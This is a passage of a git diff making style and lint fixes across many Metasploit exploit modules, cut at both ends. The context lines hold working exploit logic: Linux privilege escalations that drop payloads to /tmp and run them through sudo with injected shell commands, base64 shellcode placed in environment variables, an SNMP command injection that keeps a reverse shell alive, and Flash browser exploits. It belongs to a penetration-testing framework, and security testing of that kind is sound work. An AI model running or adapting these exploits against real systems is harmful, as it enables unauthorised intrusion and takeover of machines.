vprint_status("RESTART: #{restart_command}") restart_commands.push(restart_command) @@ -157,7 +157,7 @@ class MetasploitModule < Msf::Exploit::Local end def c_code(exe_file) - c = %Q| + c = %| // A few constants/function definitions/structs copied from header files #define RTLD_NEXT ((void *) -1l) extern uintptr_t dlsym(uintptr_t, char*); diff --git a/modules/exploits/linux/local/docker_runc_escape.rb b/modules/exploits/linux/local/docker_runc_escape.rb index adc8c5beb7..03b84b2c04 100644 --- a/modules/exploits/linux/local/docker_runc_escape.rb +++ b/modules/exploits/linux/local/docker_runc_escape.rb @@ -230,7 +230,7 @@ class MetasploitModule < Msf::Exploit::Local shell_path = setup_exploit(path) print_status("Launch exploit loop and wait for #{wfs_delay} sec.") - cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false) + create_process('/bin/bash', args: [ shell_path ], time_out: wfs_delay, opts: { 'Subshell' => false }) print_status('Done. Waiting a bit more to make sure everything is setup...') sleep(5) diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index bbd619e0cf..f45e7cc3bd 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -62,12 +62,12 @@ class MetasploitModule < Msf::Exploit::Local 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS - }, + } } ) ) register_options([ - OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ]) + OptString.new('smhstartDir', [ true, 'smhstart directory', '/opt/hp/hpsmh/sbin/' ]) ]) end @@ -81,8 +81,8 @@ class MetasploitModule < Msf::Exploit::Local exploit << "\xe9\x0e\xff\xff\xff" # jmp => beginning of pl exploit << padding exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better - id = cmd_exec("id -un") - if id != "hpsmh" + id = cmd_exec('id -un') + if id != 'hpsmh' fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this") end cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)") diff --git a/modules/exploits/linux/local/ntfs3g_priv_esc.rb b/modules/exploits/linux/local/ntfs3g_priv_esc.rb index 61c0f9b1d9..2fe91f7e6c 100644 --- a/modules/exploits/linux/local/ntfs3g_priv_esc.rb +++ b/modules/exploits/linux/local/ntfs3g_priv_esc.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultOptions' => { 'payload' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true, + 'PrependFork' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2017-01-05', @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Local def check # check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work. - def headers_installed?() + def headers_installed? output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}') if output if output.include?('linux-headers') @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Local CheckCode::Appears elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') # Debian Wheezy, we also need linux-source installed print_good('Vulnerable Debian 7 (wheezy) detected') - if headers_installed?() + if headers_installed? CheckCode::Appears else CheckCode::Safe @@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Local CheckCode::Appears elsif output.include?('1:2014.2.15AR.2-1+deb8u2') # Debian Jessie, we also need linux-source installed print_good('Vulnerable Debian 8 (jessie) detected') - if headers_installed?() + if headers_installed? CheckCode::Appears else CheckCode::Safe @@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Local def exploit def upload_and_compile(filename, file_path, file_content, compile = nil) rm_f "#{file_path}" - if not compile.nil? + if !compile.nil? rm_f "#{file_path}.c" vprint_status("Writing #{filename} to #{file_path}.c") write_file("#{file_path}.c", file_content) @@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end - cmd_exec("chmod +x #{file_path}"); + cmd_exec("chmod +x #{file_path}") register_file_for_cleanup(file_path) end @@ -179,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Local # we moved sploit.c off since it was so big to the external sources folder path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c') - fd = ::File.open(path, "rb") + fd = ::File.open(path, 'rb') sploit = fd.read(fd.stat.size) fd.close @@ -196,8 +196,8 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end - def has_prereqs?() - def check_gcc?() + def has_prereqs? + def check_gcc? gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') @@ -208,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Local end end - def check_make?() + def check_make? make = cmd_exec('which make') if make.include?('make') vprint_good('make is installed') @@ -219,17 +219,17 @@ class MetasploitModule < Msf::Exploit::Local end end - return check_make?() && check_gcc?() + return check_make? && check_gcc? end - if has_prereqs?() + if has_prereqs? vprint_status('Live compiling exploit on system') else fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel') end # make our substitutions so things are dynamic - rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, + rootshell.gsub!(%r{execl\("/bin/bash", "bash", NULL\);}, "return execl(\"#{payload_path}\", \"\", NULL);") # launch our payload, and do it in a return to not freeze the executable print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index b7199346a7..87260e9abf 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -56,17 +56,17 @@ class MetasploitModule < Msf::Exploit::Local ) ) register_options([ - OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]), - OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]), - OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]) + OptInt.new('Count', [true, 'Number of attempts to win the race condition', 500 ]), + OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 60]), + OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ]) ]) register_advanced_options [ - OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]) ] end def executable_path - @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + @executable_path ||= datastore['WritableDir'] + '/' + rand_text_alphanumeric(8) @executable_path end @@ -345,11 +345,11 @@ int main(int argc,char *argv[], char ** envp) } ^ - main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode")) + main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, 'shellcode')) main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"") - main.gsub!(/COUNT/, datastore["Count"].to_s) - main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT'] + main.gsub!(/COUNT/, datastore['Count'].to_s) + main.gsub!(/#define dprintf/, '#define dprintf printf') if datastore['DEBUG_EXPLOIT'] cpu = nil if target['Arch'] == ARCH_X86 @@ -360,7 +360,7 @@ int main(int argc,char *argv[], char ** envp) begin elf = Metasm::ELF.compile_c(cpu, main).encode_string - rescue => e + rescue StandardError => e print_error "Metasm Encoding failed: #{$ERROR_INFO}" elog('Metasm Encoding failed', error: e) return @@ -373,9 +373,7 @@ int main(int argc,char *argv[], char ** envp) output.each_line { |line| vprint_status(line.chomp) } stime = Time.now.to_f - print_status "Starting the payload handler..." - until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f - Rex.sleep(1) - end + print_status 'Starting the payload handler...' + Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f end end diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 52d8e24fde..acd1a873bc 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -144,12 +144,12 @@ class MetasploitModule < Msf::Exploit::Local end sc = Metasm::ELF.new @cpu - sc.parse %Q| + sc.parse %( #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx #endif - | + ) current_task_struct_h sc if datastore['DEBUG_EXPLOIT'] @@ -493,13 +493,13 @@ int main(int argc, char **argv) { sc.c_set_default_entrypoint begin - if sc.kind_of? Metasm::ELF + if sc.is_a? Metasm::ELF elf = sc.encode_string else foo = sc.encode_string elf = Msf::Util::EXE.to_linux_x86_elf framework, foo end - rescue + rescue StandardError print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 2fff333f1f..2c4c93b854 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -37,9 +37,9 @@ class MetasploitModule < Msf::Exploit::Local [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] ], 'DefaultOptions' => { - "PrependFork" => true, - "PrependSetresuid" => true, - "PrependSetresgid" => true + 'PrependFork' => true, + 'PrependSetresuid' => true, + 'PrependSetresgid' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => '2013-09-06', @@ -53,15 +53,15 @@ class MetasploitModule < Msf::Exploit::Local ) register_options [ - OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]) + OptString.new('clear_keys', [ true, 'Path to the clear_keys.pl vulnerable script', '/opt/cma/bin/clear_keys.pl' ]) ] register_advanced_options [ - OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def check - if file?(datastore["clear_keys"]) + if file?(datastore['clear_keys']) return CheckCode::Detected end @@ -69,27 +69,27 @@ class MetasploitModule < Msf::Exploit::Local end def exploit - print_status("Checking actual user...") - id = cmd_exec("id -un") - if id != "spiderman" + print_status('Checking actual user...') + id = cmd_exec('id -un') + if id != 'spiderman' fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this") end - print_status("Checking for the vulnerable component...") + print_status('Checking for the vulnerable component...') if check != CheckCode::Detected - fail_with(Failure::NoTarget, "The vulnerable component has not been found") + fail_with(Failure::NoTarget, 'The vulnerable component has not been found') end - print_status("Dropping the payload to #{datastore["WritableDir"]}") - exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" + print_status("Dropping the payload to #{datastore['WritableDir']}") + exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf" write_file(exe_file, generate_payload_exe) cmd_exec "chmod +x #{exe_file}" - print_status("Running...") + print_status('Running...') begin # rm the file after executing it to avoid getting multiple sessions - cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}" + cmd_exec "sudo #{datastore['clear_keys']} #{rand_text_alpha(rand(4..7))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(rand(4..7))}" ensure cmd_exec "rm -f #{exe_file}" end diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index ead2d9537a..c5849e8eb6 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -54,36 +54,36 @@ class MetasploitModule < Msf::Exploit::Local 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS - }, + } } ) ) register_options [ - OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]) + OptInt.new('NetlinkPID', [ false, 'Usually udevd pid-1. Meterpreter sessions will autodetect' ]) ] register_advanced_options [ - OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]) ] end def exploit - if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0 - netlink_pid = datastore["NetlinkPID"] + if datastore['NetlinkPID'] and datastore['NetlinkPID'] != 0 + netlink_pid = datastore['NetlinkPID'] else - print_status("Attempting to autodetect netlink pid...") + print_status('Attempting to autodetect netlink pid...') netlink_pid = autodetect_netlink_pid end - if not netlink_pid + if !netlink_pid print_error "Couldn't autodetect netlink PID, try specifying it manually." - print_error "Look in /proc/net/netlink for a PID near that of the udevd process" + print_error 'Look in /proc/net/netlink for a PID near that of the udevd process' return else print_good "Found netlink pid: #{netlink_pid}" end sc = Metasm::ELF.new(@cpu) - sc.parse %Q| + sc.parse %| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ @@ -96,10 +96,10 @@ class MetasploitModule < Msf::Exploit::Local call exit | - payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" - evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" + payload_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(10)}" + evil_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(10)}" - main = %Q^ + main = %^ /* ** All of these includes are now factorized. **/ @@ -209,7 +209,7 @@ int main() { return 0; } ^ - cparser.parse(main, "main.c") + cparser.parse(main, 'main.c') # This will give you all the structs and #defines (from all included # headers) that are actually used by our C code so we can avoid # needing them at runtime. @@ -223,7 +223,7 @@ int main() { begin elf = sc.encode_string - rescue => e + rescue StandardError => e print_error 'Metasm Encoding failed' elog('Metasm Encoding failed', error: e) return @@ -247,13 +247,13 @@ int main() { netlink_pid = nil case session.type - when "meterpreter" - print_status("Meterpreter session, using get_processes to find netlink pid") + when 'meterpreter' + print_status('Meterpreter session, using get_processes to find netlink pid') process_list = session.sys.process.get_processes - udev_proc = process_list.find { |p| p["name"] =~ /udevd/ } - udev_pid = udev_proc["pid"] + udev_proc = process_list.find { |p| p['name'] =~ /udevd/ } + udev_pid = udev_proc['pid'] print_status "udev pid: #{udev_pid}" - netlink = read_file("/proc/net/netlink") + netlink = read_file('/proc/net/netlink') netlink.each_line do |line| pid = line.split(/\s+/)[2].to_i if pid == udev_pid - 1 @@ -262,7 +262,7 @@ int main() { end end else - print_status("Shell session, trying sh script to find netlink pid") + print_status('Shell session, trying sh script to find netlink pid') netlink_pid = cmd_exec( %q^ for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do diff --git a/modules/exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb b/modules/exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb index 657f0d69fc..af4e1f02bd 100644 --- a/modules/exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb +++ b/modules/exploits/linux/local/vmware_workspace_one_access_cve_2022_22960.rb @@ -102,15 +102,15 @@ class MetasploitModule < Msf::Exploit::Local def check unless whoami == 'horizon' - return CheckCode::Safe('Not running as the horizon user.') + return Exploit::CheckCode::Safe('Not running as the horizon user.') end test = cmd_exec("sudo #{TARGET_FILE}") unless test.include? 'basename: missing operand' - CheckCode::Safe + return Exploit::CheckCode::Safe end - CheckCode::Appears('vulnerable') + Exploit::CheckCode::Appears('vulnerable') end def exploit diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index f107899235..b73f096c58 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -25,13 +25,13 @@ class MetasploitModule < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', 'juan vazquez' ], 'DisclosureDate' => '2013-06-07', - 'Platform' => %w{linux unix}, + 'Platform' => %w[linux unix], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Command payload', { 'Arch' => ARCH_CMD } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], - 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 }, 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2013-10052' ] @@ -40,20 +40,20 @@ class MetasploitModule < Msf::Exploit::Local 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS - }, + } } ) ) register_options [ - OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]) + OptString.new('zsudo', [ true, 'Path to zsudo executable', '/etc/zpanel/panel/bin/zsudo' ]) ] register_advanced_options [ - OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def check - if file?(datastore["zsudo"]) + if file?(datastore['zsudo']) return CheckCode::Detected end @@ -62,21 +62,21 @@ class MetasploitModule < Msf::Exploit::Local def exploit if (target.arch.include? ARCH_CMD) - exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh" + exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.sh" # Using this way of writing the payload to avoid issues when failing to find # a command on the victim for writing binary data - cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}" + cmd_exec "echo \"#{payload.encoded.gsub(/"/, '\"')}\" > #{exe_file}" else - exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" + exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf" write_file(exe_file, generate_payload_exe) end cmd_exec "chmod +x #{exe_file}" - print_status("Running...") + print_status('Running...') begin - cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}" + cmd_exec "#{datastore['zsudo']} #{exe_file} #{rand_text_alpha(rand(3..7))}" ensure cmd_exec "rm -f #{exe_file}" end diff --git a/modules/exploits/linux/persistence/init_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb index d93f7ddca9..f2d787231a 100644 --- a/modules/exploits/linux/persistence/init_systemd.rb +++ b/modules/exploits/linux/persistence/init_systemd.rb @@ -39,7 +39,12 @@ class MetasploitModule < Msf::Exploit::Local 'Privileged' => true, 'Targets' => [ ['systemd', {}], - ['systemd user', { 'Author' => 'Cale Black' }] + [ + 'systemd user', + { + 'Author' => 'Cale Black' + } + ] ], 'DefaultTarget' => 0, 'Arch' => [ diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index ffbfed9a72..05580873a8 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Space' => 256, 'MinNops' => 16, 'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80", - 'PrependEncoder' => "\x83\xec\x7f", + 'PrependEncoder' => "\x83\xec\x7f" }, 'Targets' => [ @@ -64,15 +64,15 @@ class MetasploitModule < Msf::Exploit::Remote [ # We must wait 15 seconds between each attempt so as to prevent # squid from exiting completely after 5 crashes. - OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]), + OptInt.new('BruteWait', [ false, 'Delay between brute force attempts', 15 ]), ] ) end def brute_exploit(addresses) - site = "http://" + rand_text_alpha(rand(128)) + ".com" + site = 'http://' + rand_text_alpha(rand(128)) + '.com' - print_status("Trying 0x#{"%.8x" % addresses['Ret']}...") + print_status("Trying 0x#{'%.8x' % addresses['Ret']}...") connect trasnmit_negotiate(site) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index b6b493a650..db275d3ab0 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "AwindInc SNMP Service Command Injection", + 'Name' => 'AwindInc SNMP Service Command Injection', 'Description' => %q{ This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. A valid SNMP read-write community is required to exploit this vulnerability. @@ -42,19 +42,23 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { - 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' } + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' } + } } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'CmdStagerFlavor' => %w[wget], - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'CmdStagerFlavor' => %w[wget], + 'Type' => :linux_dropper + } ] ], 'DefaultTarget' => 1, @@ -106,53 +110,49 @@ class MetasploitModule < Msf::Exploit::Remote end def inject_payload(cmd) - begin - connect_snmp - varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd)) - resp = snmp.set(varbind) - if resp.error_status == :noError - print_status("Injection successful") - else - print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") - end - rescue SNMP::RequestTimeout - print_error("#{ip} SNMP request timeout.") - rescue Rex::ConnectionError - print_error("#{ip} Connection refused.") - rescue SNMP::UnsupportedVersion - print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - ensure - disconnect_snmp + connect_snmp + varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status('Injection successful') + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp end def trigger - begin - connect_snmp - varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1)) - resp = snmp.set(varbind) - if resp.error_status == :noError - print_status("Trigger successful") - else - print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") - end - rescue SNMP::RequestTimeout - print_error("#{ip} SNMP request timeout.") - rescue Rex::ConnectionError - print_error("#{ip} Connection refused.") - rescue SNMP::UnsupportedVersion - print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - ensure - disconnect_snmp + connect_snmp + varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status('Trigger successful') + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp end def exploit @@ -164,25 +164,25 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) # The payload must start with a valid FTP URI otherwise the injection point is not reached - cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" + cmd = "ftp://1.1.1.1/$(#{cmd})" # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and # keep our reverse shell opened :) - cmd << "$(pkill -f /etc/reboot.sh)" + cmd << '$(pkill -f /etc/reboot.sh)' # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad - cmd << "A" * (255 - cmd.length) + cmd << 'A' * (255 - cmd.length) # we inject our payload in camFWUpgradeFTPURL - print_status("Injecting payload") + print_status('Injecting payload') inject_payload(cmd) # we trigger the firmware download via FTP, which will end up calling this # "/bin/getRemoteURL.sh %s %s %s %d" - print_status("Triggering call") + print_status('Triggering call') trigger end end diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 4b5fdc4848..b3169230eb 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -42,16 +42,16 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 || os =~ OperatingSystems::Match::WINDOWS_VISTA || os =~ OperatingSystems::Match::WINDOWS_XP end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if Rex::Version.new(ver) <= Rex::Version.new('18.0.0.194') @@ -119,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) @@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote platform_id = 'linux' end - html_template = %Q| + html_template = %( @@ -140,9 +140,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index 21d7aa42c7..fdb93b1f63 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -47,14 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => ARCH_X86, - :os_name => lambda do |os| + source: /script|headers/i, + arch: ARCH_X86, + os_name: lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, - :ua_name => lambda do |ua| + ua_name: lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF @@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote false end, - :flash => lambda do |ver| + flash: lambda do |ver| case target.name when 'Windows' return true if ver =~ /^18\./ && Rex::Version.new(ver) <= Rex::Version.new('18.0.0.161') @@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + swf_random = "#{rand_text_alpha(rand(4..6))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] @@ -140,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote platform_id = 'linux' end - html_template = %Q| + html_template = %( @@ -151,9 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote - | + ) - return html_template, binding() + return html_template, binding end def create_swf diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 1a0cbf397b..7fa0d27bc9 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -44,14 +44,14 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Arch' => [ARCH_X86], 'BrowserRequirements' => { - :source => /script|headers/i, - :arch => 